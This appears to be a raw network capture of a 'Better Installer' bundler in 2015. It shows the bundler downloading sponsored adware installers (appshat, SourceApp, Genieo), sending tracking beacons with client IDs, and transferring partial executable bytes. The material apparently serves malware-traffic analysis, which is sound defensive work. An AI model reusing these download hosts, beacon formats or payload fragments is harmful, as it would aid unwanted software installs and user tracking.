Age: 1013

X-Cache: Hit from cloudfront

Via: 1.1 3f22ccb0670a6dfd48cff193a28e878c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 46e9IAO7tM6wwu2LHUHFMHajzAzexei5Dm6u0FmNMnI-l_-sTZr0WQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
[email protected]..^..].......U..QVW..j..M.<<< skipped >>>

GET /install.gif?bundle=mystartsearch&ptid=smt&uid=267123711_198339_B48A115F HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: log.very911.com


HTTP/1.1 404 Not Found

Server: Tengine/1.2.2

Date: Tue, 24 Feb 2015 00:04:06 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 671

Connection: keep-alive
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<html>
..<head><title>404 Not Found</title></head>..&
lt;body bgcolor="white">..<h1>404 Not Found</h1>..<p
>The requested URL was not found on this server. Sorry for the inco
nvenience.<br/>..Please report this message and include the foll
owing information to us.<br/>..Thank you very much!</p>..&
lt;table>..<tr>..<td>URL:</td>..<td>hXXp://
log.very911.com:8080/install.gif?bundle=mystartsearch&ptid=smt&
;uid=267123711_198339_B48A115F</td>..</tr>..<tr>..&l
t;td>Server:</td>..<td>us-pub00.v9.com</td>..<
/tr>..<tr>..<td>Date:</td>..<td>2015/02/23 
18:04:06</td>..</tr>..</table>..<hr/>Powered b
y Tengine/1.2.2..</body>..</html>..HTTP/1.1 404 Not Found.
.Server: Tengine/1.2.2..Date: Tue, 24 Feb 2015 00:04:06 GMT..Content-T
ype: text/html; charset=utf-8..Content-Length: 671..Connection: keep-a
live..<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">..<ht
ml>..<head><title>404 Not Found</title></head&
gt;..<body bgcolor="white">..<h1>404 Not Found</h1>.
.<p>The requested URL was not found on this server. Sorry for th
e inconvenience.<br/>..Please report this message and include th
e following information to us.<br/>..Thank you very much!</p&
gt;..<table>..<tr>..<td>URL:</td>..<td&<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=178475-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 107083

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 178475-285557/285558

Age: 786

X-Cache: Hit from cloudfront

Via: 1.1 e89c67951b2bc58773e3664c08702f34.cloudfront.net (CloudFront)

X-Amz-Cf-Id: sSZE-8tt5y5tY_IKV_rpI9aoE-Qfdc6FBxwwtL3H3gdWGwkoJxX8Yg==
w.N>.Pq..A)...[N......B.x../.>[email protected]..
N.Z......j..&...h....A.hO..\....'.....sj.`.....H.S.|.s=.......I.)L>
...c....i.>.....G.u..H.D....P......qC0<.(...m..y.dm.\1N.m...v.T`
- .Ss. .G2..rk.......N{[email protected].......}......6P$....2
.52..!.x....L.R. [email protected],.].\...a..........k
.....A.....P....u`..I.///....b~.y..^...P...z..p..:.d.....R.4....U. ...
../.M]..~.........(...... y.).. ..In.I.)..ua.*..N!Q.......1.e..b)F5...
x.bS..f..|q.H..K...V.`.^...x!Su4_"?...uc.tY.m...%....r..be.z. ....0.^.
....]y........)... .u_/..V..6).v..\.7n-z.q.............Y.w.oBk..f..}..
[email protected]. .*.b.;..).....|.\@c..)......H.P..;......!"...gN.......9W..
.. ......NJJJ....N|..)T..aU..1....5~.G...=d.m..Qfl..?.yO|e...`.sXm$Op;
."p................t=V.........Q....f.r0.........i...M......E....Y.../
....N.7/.;.....|..R...(./.4..{)..~.M....).......f.w...6.^.0TB...H..c..
.....^-a.G`0ub..|a;.C..T.<..N/......^..>."....f..$..d.=.X0..x4R.
..W...=.....`..w.$\a/.~R.~<.....jS.q.es....-.....#W#.D.4H...tw...&.
A.w/...t...[H"D....9E].....A....B<D.7[.2.3.!.......P.......R..R._.I
...y........([email protected].\D.k.2....3..".".......
.p...?_X.........$v.....,......\.V..EV.G...........Z.DO....B..V...%.D.
...].n..`...H.!..=<.. Y.*l..].j.u.d.o.M.i...>..m........$K..@...
..]~.H.z.p.O.?.i.&.U.....U."<..o.S#..x.....s..g.[.....A.6~'-.1D....
....`Pim2....;.xsV2.'7.#..jlW.1-..4......h ..~...oV..."...]|..i=.....V
(.....e..!..EU.d....ui..9).....^P.o.g..e..H.1x.....\.#..D....G.w.p<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=2&index_in_screen=1&index_in_session=2&display_height=50&0.8803346687573486 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.2079935846.1424736079.1424736079.1424736079.1; __utmb=1.1.10.1424736079; __utmc=1; __utmz=1.1424736079.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:01:23 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 00:01:23 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /sd?is=sm HTTP/1.1

Range: bytes=437364-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:02:16 GMT

Date: Tue, 24 Feb 2015 00:02:16 GMT

Content-Range: bytes 437364-583151/583152

Content-Length: 145788

Connection: keep-alive
....s.....E:y..I...OXz.E..r....L....5..`....#.*Y.'-.U....>....*ks..
d...#.@..%p....oG..._...<.....M..#...............{......q7...,.bOd.
........s..8..<..C...e.........q..^1...dR#M..3.=.....j;R... ...)...
.%.-..B..6.X.......5U./.P....R}.'..l..C.,N...$.......Gj.v~ .v;...uD.G.
2.-L....R.[4..P .!Eg..J......j(.q...gEu.?J.T.=.(.2..GC.!...O.....T...1
...5'.^.).O.....:.."...tZ.s..........~e@..........%....F...."nyw%l.4..
.O.o{....Pe..d...Y...m.E.......Y..!...g..K...znz....5....l.-s.......6O
Nw......,.23.`..zP$cM..n",^./L%p./....W.hol..p)..(.'..B4.F.."...'.Bp..
..OB.V......\......_..o.`.. ........*ZGA..2K........Y.s5P.aGD.._,.. ..
..G...a/[.k..j.L.........*i".Q5;..&..D..f.gh\......c....>...|..c.K.
.h....4 .U.....7~....l......BQ<......d_.&...!......nEC..S..^.Sp...m
........ _'_......3.><[email protected].......^.~....v.u.#4..3
J...rrh...w......S.....J<.l...fDu........p.3.""(1.M.:. ..t\2.{p.=.*
/c...juSR.q.]....d...r.{[email protected].;.h....=.Xx.
.Z..$.5....3v..v..!..~W.c.G....)yL.^.....w.2...`....;\....H.}z{.....O 
..B..!4:.%.b;.A..T$6..{.D..kq(.M.c'3O..M.n.....s.8.z...o...N.p...h....
oj....A..Y.\......<....{.....E..........S.....QR.~.D.ye&:.`........
...W.."].........?g...nb...S fk.p7...Zr-Y..#H1._&..c.....#3.vS.......=
...$.E......A ..Q.......I[...oCSV....Y. -..O....J.......mOT...]i....A.
./..ZqJ.u.).F..mF$@#..w87...S`..OV..........n.VrD...d7.....4..n(Z).zD.
...<..P...6..[.....7.P..|./..h.......[|.8..*.0...k......djY...7....
..o&/....n/.d.........Gw.QtikjM"..x...g.&....~{k.Wb...!.M.N.N._.=%<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.sourceapp.info

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SourceAppSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP004C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Wed, 25 Feb 2015 00:02:16 GMT

Date: Tue, 24 Feb 2015 00:02:16 GMT

Content-Range: bytes 0-583151/583152

Content-Length: 583152

Connection: keep-alive

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................Z....... ...0.......p....@.........
........................O........................................s....
......................................................................
.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
[email protected]...`...p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=a023ae3ee3ddb84f912034f3917e580f&uniqid=false&affiliate_id=awde7zip23678&software_id=7zip&sponsored_id=appshat_madness&tokyo_csrf2_key=058aaa31a3114158d8c6cd37fb38ada7&tokyo_csrf2_timestamp=1424736059&slot_number=4&index_in_screen=1&index_in_session=4&display_height=90&0.9905477538899743 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip23678/7zip/a023ae3ee3ddb84f912034f3917e580f?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.2079935846.1424736079.1424736079.1424736079.1; __utmb=1.1.10.1424736079; __utmc=1; __utmz=1.1424736079.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Feb 2015 00:01:46 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Tue, 24 Feb 2015 00:01:46 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=971667-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:01:05 GMT

Content-Type: application/octet-stream

Content-Length: 138809

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 971667-1110475/1110476
]7X..}.u...{.......)..E.x.E.|w..5.rg4.9M@.].EqZk...b...97....p...j....
...w"m.f.. g.G..C..x.q.2S.Q.. .t ...../..4mc.x.\"I.d..Q.{x............
...1..H..o..l.V..OU.......D..X.n....8.L.s..!.f..............9,d..1Y.j.
l..W.........ql.....5....9Jt.4......t...s...!.....B..UX1.R..W..Ot.....
. z.|...L'..8. .p.....d{..V..x.. ....8..P...v.........5KE3...u.'...Oc.
..&....6!...j`.b.....|_i<.Y.^...............QoM.9..y~...M"E..c...,.
......e.s.R.5qQ......O..Z...#........n.w.^...........5.!.....S.i..a..t
.;...ruQu.&r.....Bd%7...S..M..5.F#.........Y.T...M.....$.Ri.j..}_7..U.
E r..`.2././.?.r..jJ.\Wn....K..{..#.....p.....e.2l.K.).G^.l..[.....c..
...j..;...d..2~..y1;Y.........o\. .a........^.l..K. ....o.........2..z
.:...!Q.e...f.1.$2.......R9.....fo.G.fiN0A7............. ?^4.nr..A....
...#F:..ch..l..s<-Db@#.J.3.z..`kI..Z....n.).(R#vo.x.V..Z.q....i...t
O4.{.vFB...mU..6.?...a}yy7.zn......c...).A.[[email protected])..c.*O.....7.
.`...$.:q.V..l..0f.......r.1.d.e..G......4..A.e..x.. L.l..At..j.r.i...
W."gZMh..6E4~...h...."..5v.7!......:.Z.....pKf..h....nSA.5.d.{..pE.`'.
f.O.}.....r.F7$.P.01o....`.....8...Ix..|x.n.......#.~.... 7sf..#..7?.]
x.3..%.}...."..r.b..6...,.....LV%..r..[uwz.J.y:h...2..*.W.G...~.......
....v.j..:].QT,.....lS....vYF..R. ...A.J....X.j.R.......n..3......k...
...}..^...wup7 *....'..>2...Z.......P......L.09....[.c..~..)..$$".9
[email protected]#..a....*[email protected]
Q,W.....m%.9.7.=..Jr.eh.pjB.......8.......T...W.vD..&Y...F.t..L.^...P^
.&..j..KQ....vU.j.......{..!.pZu....!R..\u9..<O..A.%....2..71..<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=832858-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Tue, 24 Feb 2015 00:02:19 GMT

Content-Type: application/octet-stream

Content-Length: 277618

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 832858-1110475/1110476
.'.. .O..l$.wQi.t...g%..4..........9:1`..?......]... ...Z....Br.B.....
.A.........i..T.#.F.d.[....C.xJ.K}..pF..J...<9.rgt....[p%..\u/...7.
~.K.......v#........a.=......h.....6......v.K...../VN.=..I.e.Cc.6..W@.
.,.dn.j..d.A{.A..D.Q.~...5...=L]>...|.H..},.^E..\F.c...D^.}]D....'[
L....`.3Dp..r....P.....-....v-.[0.\....22cK...^.=?c.t....a.........R.s
o1.lI..Q_./`..,\../.c.?...S...K.O?...j.....s.....($.k...,x.?......z...
w.(.^=..4J.S*K.qm...`oG.D.<6a.........R....`..QNx......:..=g.K.....
...X4........T-J.........j.sh....}..Y.`..MThf.')^.[..;.'..X.a..&.....-
...x.....{.b...a...3....9{Y...`S......\...&F[....8.QL....S....n.......
Sc..:...Zd...n..q....R......6n.90.q~....<.o....5............`..n...
.~.p...OUr...y.8}.R%....y.*[email protected]..
.`..l....S......l]j.../.<..{1k>H.h.m.......2O.....4.2..L...a.(c.
...F...._..7.]......C[.i.3u..e...........0...m.j..h>...R.mu..] d.4.
.v.......g........t...\.*C......u0......w.K3..M.U......^.d.\.X.~..:.p.
...O..tNgx.....c...o...'..AY....|..t .....\.U........RE...N ..-,.nPgqw
......p.H.bMz...HJ.OG\.*....!..G/%..<...T..x.tn=..[1..sB.......z.FS
.8I....;.....].7.... ...|HT.fE...pX....-.......6..,.$.~.;..b....EZ~..,
........A.-.%..Ue...E.l..}..:Pd.(.9..!I..A.....8..k..W.J.....9 C..h.I`
...Zis.._.....c........p!^.....r.. [email protected]..'v.sV ..X...2.T|k
U$.'.~..|...'...pM|.y..Ey....r..N....Z.....'.T.K....k~w,....%..G...p..
e... .F.....$x8. ..|.p........$Z\OB...{.._....Vj.~i..Z.`..l2;..=<WP
...Yf........./x......C.I..c.L.... ...[b]...f...&0...`.|.F...tJ.U.<<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Cache-Control: no-cache


HTTP/1.1 200 OK

x-amz-id-2: JCNLapY3xZvBm7IZMP4ULYQIXr9m6zxA4b563CD6Ltf8WKQYUTZNQD E3txc4mzYgy5CDRYSbaY=

x-amz-request-id: 11824B24343DADBB

Date: Tue, 24 Feb 2015 00:02:18 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Type: application/octet-stream

Content-Length: 988408

Server: AmazonS3
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
.........P...............`............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc...P............v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=107085-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache



...^]..)..;....h.d1...5^1...B...Q...z.N....WC'./..h......U.S....[...*.
>P.^jM..%i.3T5..w..$.X......?u.U...!.0..s.../..F.....i...k........9
M?.....p..3....J.Q.../s............8.0w2J"h..1...W.#[email protected].,Kao.@..:Kl
...Pk./%[email protected](j8&R..;..KE.UZ..&..........B.Y...'3D.
....K....>..6/......DM.....5B...k.I5.&....3....2..oe\[email protected]...
?...0r..J..ko...Kr.3.?A....um..r6..k......3....tX.....hQV.'.`.....X.3u
[email protected]"}.e..W.......BP.i...(GG%...P.]3".q<.A.l{.
......u..J.J.J.6Z(..-.w......)....nI\Z.B.>.xi#p. .9._(..m......"..c
...AnY.~......;..W....(..".d...EF...2..V....D..I .._..z.Y..o.......^..
.i2.c....'J...0B?............<...TM....T..)....Y../..Xg......>|m
C....O.......-7.z 9A..U..<U......Z.Q.X...i...C...D.s_...^..r..aJ...
.mm......p.......W.......'.*....LA".P......Y5np.z..../ro..>..\.$d-.
i_.g..=...*.]0$.Z:r...D. ..O*i.......B.%..K..^@...6Z....%....c...q...z
.R!].w(}.e.....R}7.c.......-...0/..i.....;..... ...'...tf.=....g>.N
...A........\..vHz.........{5.."s.........R...\.p.xj}...~=..w.V..$%...
.,o..Xa>...8.Q..E.....b.qL.K..a.....o0{...CEd/......J_n.......0T...
.#. .x...k0.....M'yr.X.U..E...oF.z.rE.oX....E...q...M..l*....q...~.`b.
.\..#..kJ..Mlt".P9..B.Y..r.j....Q.Y.1..w...%.x..nH....Mg-....#RZ.g..c.
..`no~.~.=.7y.....cI...jM;.....8.4O.Y...w..5..RZ.}..`..V..z/.{.....t..
y#Vr.9_;.-.G....s..\l^..h.]...{.^...{..`...oae....A...\&|....4.z......
....t.0...MzJ'...!.iW`x.xG#.T.Q...p..<.7...S...... q.6n=m2....o..aW
[email protected]{h;k.o....#.H.".c..<I#.b......].<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=178475-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 107083

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 178475-285557/285558

Age: 913

X-Cache: Hit from cloudfront

Via: 1.1 7b48191d48ad0a2b3616c20acd7fbc1c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: KZ_FfBck303Re0c-6rlAcAW8dmXudHjIph4JCtzLn95At7YXrMUFnA==
w.N>.Pq..A)...[N......B.x../.>[email protected]..
N.Z......j..&...h....A.hO..\....'.....sj.`.....H.S.|.s=.......I.)L>
...c....i.>.....G.u..H.D....P......qC0<.(...m..y.dm.\1N.m...v.T`
- .Ss. .G2..rk.......N{[email protected].......}......6P$....2
.52..!.x....L.R. [email protected],.].\...a..........k
.....A.....P....u`..I.///....b~.y..^...P...z..p..:.d.....R.4....U. ...
../.M]..~.........(...... y.).. ..In.I.)..ua.*..N!Q.......1.e..b)F5...
x.bS..f..|q.H..K...V.`.^...x!Su4_"?...uc.tY.m...%....r..be.z. ....0.^.
....]y........)... .u_/..V..6).v..\.7n-z.q.............Y.w.oBk..f..}..
[email protected]. .*.b.;..).....|.\@c..)......H.P..;......!"...gN.......9W..
.. ......NJJJ....N|..)T..aU..1....5~.G...=d.m..Qfl..?.yO|e..........23
.. ..K.p.....'b..-..B.f.W.C.sQ.........gXp...I.!.F........._T.>t...
........B........f....Y..(.....{...^.0...~_c.....a....v.{.._.o...Pm...
..Q^..\....gOMj..o.."I...3.....s......o!..Dy....t.LY.]..M#P..)..Fq7{..
.Y`.s?.03...Q..=G..OP.&........%W..m>....La4..%a"..(.D.E.]rN....<
;.@yr...}.. O*-i...nu%..\.#.9.....c..!...W..Y..'...).^kH..[..q'....R.#
....:0(.%}0....mB....c2...?..Tc#..C....V.M.&.to..n/:)S.3G..4.h{.?..r.Q
 s.......x.\$...>..n}....K?.......@M........&.Y...%UE.).6........~U
p....g*.9..G...t%pn..$..D..J.....Q^.qd."..!-D4de.N..V....R.T...&....-.
....N.."....Q...AVS......].on...!.hP..?.t...W..W.M.@Ho6.,..qJ....S.Ia.
...6u....A."...6...v.....<...X...W.#w....]y.?...I.{M.=.=sL@.".Q..^.
........^r&....O..<.E.........G%.1...M.......R..a .......%.....<<< skipped >>>

GET / HTTP/1.1

Host: VVV.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=97_rVMiuMoKu8wehyYGQCw

Content-Length: 262

Date: Tue, 24 Feb 2015 00:04:07 GMT

Server: GFE/2.0

Alternate-Protocol: 80:quic,p=0.08
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=97_rVMiuMoKu
8wehyYGQCw">here</A>...</BODY></HTML>..HTTP/1.1 3
02 Found..Cache-Control: private..Content-Type: text/html; charset=UTF
-8..Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=97_rVMiuMoKu8wehy
YGQCw..Content-Length: 262..Date: Tue, 24 Feb 2015 00:04:07 GMT..Serve
r: GFE/2.0..Alternate-Protocol: 80:quic,p=0.08..<HTML><HEAD&g
t;<meta http-equiv="content-type" content="text/html;charset=utf-8"
>.<TITLE>302 Moved</TITLE></HEAD><BODY>.<
;H1>302 Moved</H1>.The document has moved.<A HREF="hXXp://
VVV.google.com.ua/?gfe_rd=cr&ei=97_rVMiuMoKu8wehyYGQCw">here<
;/A>...</BODY></HTML>....

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

Range: bytes=71390-

User-Agent: Better Installer(Mozilla)

Host: d29brepyudd8sp.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 214168

Connection: keep-alive

Date: Sun, 22 Feb 2015 06:06:45 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 71390-285557/285558

Age: 714

X-Cache: Hit from cloudfront

Via: 1.1 3f22ccb0670a6dfd48cff193a28e878c.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 2YdEO9czKUG4FuhST-lECn2nHOYLxk1HMEBmN9Qus8qprDwRY90_fg==
..IK.#.ikv7..=....\z....if.J^.;,5!.._...MR..w.OX..&.....p:.........5.L
.iT.L.O.....7D.]b..........3.. 2=v.a.....^k....xp .`..y.1>...A.Q!..
._.J.D.......j..].8v....>.P.\ei%..OU[.V.p.*ky..E*.D0).-l.B.....*..a
G.b^..T.yqu8.Np.'.Z&V`..-..2l..Bu.l ........4X.U..9p..}E|..J...".m..:.
[email protected]$h...8D.s"..]......3.. .$..H.Sf.z.....q.Ke.....b.......
IO[[email protected].....].<.........g.mG.
.as..ez|.C.......=p.^U|.`s6.).\).]........2j.....N....a...i\.m.<...
...8......z....=....i.s.2...r...n.=h.D".O.MN..a.S..f. .S.i....N>.O;
...>..4%.{.L....... m.....%.Hw.U<...."...ns.Z....).)`o:....O....
0..SDt..|V.G...iU.d P..x..{`i[.X.Uh..@..`C...;6.\..y.]-W.... ...G9`.%i
~.G.......r#`...`...G....Z..KQA~'vL2XAM..(o......jU.....3........7...o
[email protected].`....u...G......H.N.|..;#..G.n]J.Kx......t.if
.8u.^....L..L..;..# 6...p ...........U..KU%....F...>....L.sZ.Cm.!..
cllj...&.:......p..y.....ds_.....W..t2.,.I...Z..c.T?/&O...8..q..<:C
p.....7&.D7.....e,2.)..G..FP.l. .N....(......I.......4&...8.1;...M...=
.2..%;.V).>[email protected].!..GHUZ.nnh..........n#.....F.v.S...Z
y.m..........;..k...3..(. .k.............,H.D.L.....K...`[.. C..7X.uq.
zV.t...m..`..H.....s.e..R.7...4.F..`.b!..N.pY...=%K...s.Tt*9.rR..A....
xt.hR.k..25...=`...7.........&=....vK.A...4.d7y.....(....7.(..l.k...h.
C.w|..yP..#...lNI..\8....c...I&.h.[.=p... ...._......).;.>"@.....@.
n@..)...,....80.W......kh..z8.......W3S..E...3..H....^.t.L.\........3G
..b.....!.^....U......d...Rf.f.d.,...RZ.6#M............-.W....]><<< skipped >>>

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=247102-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: TMFCbput6Vtt0fA1GwjSaPbKczXEl12sbvG0yPDRH8jItLEr6vbp3RynGim97SUNRNJoR4zwvB4=

x-amz-request-id: A7C4416737DB63AA

Date: Tue, 24 Feb 2015 00:04:27 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

